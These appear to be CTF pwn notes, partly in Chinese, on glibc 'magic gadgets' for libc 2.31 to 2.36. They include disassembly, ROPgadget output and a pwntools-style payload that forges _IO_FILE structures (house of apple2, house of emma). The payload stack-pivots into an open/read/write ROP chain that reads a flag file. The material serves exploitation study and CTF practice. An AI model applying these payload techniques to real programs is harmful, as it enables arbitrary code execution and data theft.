magic gadgets
libc2.36
- 此时的rax正好指向FAKE_IO头部
.text:0000000000160E56 mov rdx, [rax+38h]
.text:0000000000160E5A mov rdi, rax
.text:0000000000160E5D call qword ptr [rdx+20h]
- 也就是svcudp_reply+0x1a
.text:00000000001630AA mov rbp, [rdi+48h]
.text:00000000001630AE mov rax, [rbp+18h]
.text:00000000001630B2 lea r13, [rbp+10h]
.text:00000000001630B6 mov dword ptr [rbp+10h], 0
.text:00000000001630BD mov rdi, r13
.text:00000000001630C0 call qword ptr [rax+28h]
ROPgadget --binary libc.so.6 | grep 'mov rdi, r13'
0x00000000001587b3 : mov rdi, r13 ; call qword ptr [rax + 0x10]
0x000000000008975f : mov rdi, r13 ; call qword ptr [rax + 0x18]
0x000000000015760c : mov rdi, r13 ; call qword ptr [rax + 0x20]
0x00000000001630bd : mov rdi, r13 ; call qword ptr [rax + 0x28]
libc2.35(house of apple2)
参考博客 libc2.35 3.6 0x16A06A libc2.35 3_ 在上述偏移上下找就行 gadget=licbase+0x16A1FA magic_gadget = libc_base + libc.sym[“svcudp_reply”] + 0x1a
0x7ffff7f092ba <svcudp_reply+26> mov rbp, qword ptr [rdi + 0x48]
0x7ffff7f092be <svcudp_reply+30> mov rax, qword ptr [rbp + 0x18]
0x7ffff7f092c2 <svcudp_reply+34> lea r13, [rbp + 0x10]
0x7ffff7f092c6 <svcudp_reply+38> mov dword ptr [rbp + 0x10], 0
0x7ffff7f092cd <svcudp_reply+45> mov rdi, r13
0x7ffff7f092d0 <svcudp_reply+48> call qword ptr [rax + 0x28]
- 具体做法
fake_IO_addr =
magic_gadget = libc_base + libc.sym["svcudp_reply"] + 0x1a
leave_ret = libc_base + 0x0000000000052d72 #: leave ; ret
pop_rdi_ret = libc_base + 0x000000000002daa2 #: pop rdi ; ret
pop_rsi_ret = libc_base + 0x0000000000037c0a #: pop rsi ; ret
pop_rdx_r12_ret = libc_base + 0x00000000001066e1 #: pop rdx ; pop r12 ; ret
rop_address = fake_IO_addr + 0xe0 + 0xe8 + 0x70
#read(0, (void *)ptr[num], 0xAA0uLL)直接向_IO_2_1_stderr_写入数据,同时伪造A,B,C三个fake file
orw_rop = b'./flag\x00\x00'
orw_rop += p64(pop_rdx_r12_ret) + p64(0) + p64(fake_IO_addr - 0x10)
orw_rop += p64(pop_rdi_ret) + p64(rop_address)
orw_rop += p64(pop_rsi_ret) + p64(0)
orw_rop += p64(libc_base + libc.sym['open'])
orw_rop += p64(pop_rdi_ret) + p64(3)
orw_rop += p64(pop_rsi_ret) + p64(rop_address + 0x100)
orw_rop += p64(pop_rdx_r12_ret) + p64(0x50) + p64(0)
orw_rop += p64(libc_base + libc.sym['read'])
orw_rop += p64(pop_rdi_ret) + p64(1)
orw_rop += p64(pop_rsi_ret) + p64(rop_address + 0x100)
orw_rop += p64(pop_rdx_r12_ret) + p64(0x50) + p64(0)
orw_rop += p64(libc_base + libc.sym['write'])
payload = p64(0) + p64(leave_ret) + p64(1) + p64(2) #这样设置同时满足assert和fsop
payload = payload.ljust(0x38, b'\x00') + p64(rop_address) #FAKE FILE+0x48
payload = payload.ljust(0x90, b'\x00') + p64(fake_IO_addr + 0xe0) #_wide_data=fake_IO_addr + 0xe0
payload = payload.ljust(0xc8, b'\x00') + p64(libc_base + libc.sym['_IO_wfile_jumps']) #vtable=_IO_wfile_jumps
#*(A+0Xe0)=B _wide_data->_wide_vtable=fake_IO_addr + 0xe0 + 0xe8
payload = payload.ljust(0xd0 + 0xe0, b'\x00') + p64(fake_IO_addr + 0xe0 + 0xe8)
#*(B+0X68)=C=magic_gadget
payload = payload.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(magic_gadget)
payload = payload + orw_rop
- 过程描述
- rdi= A,rbp=rop_addr
- rax=A-0x10
- call [rax+0x28]等价于call leave;ret
- leave:mov rsp,rbp; pop rbp 此时rsp=rop_addr再ret执行rop
libc2.34(house of emma)
libc2.34,在libc2.35就没了这个gadget gadget_addr = libc_base + 0x146020 各个libc相差一般也不会太远,就在附近找就行 可以设置rdx的值然后setcontent+61来进行orw
mov rdx, qword ptr [rdi + 8];
mov qword ptr [rsp], rax;
call qword ptr [rdx + 0x20];
libc2.31
- libc2.31利用 getkeyserv_handle+576
mov rdx, [rdi+8]
mov [rsp+0C8h+var_C8], rax
call qword ptr [rdx+20h]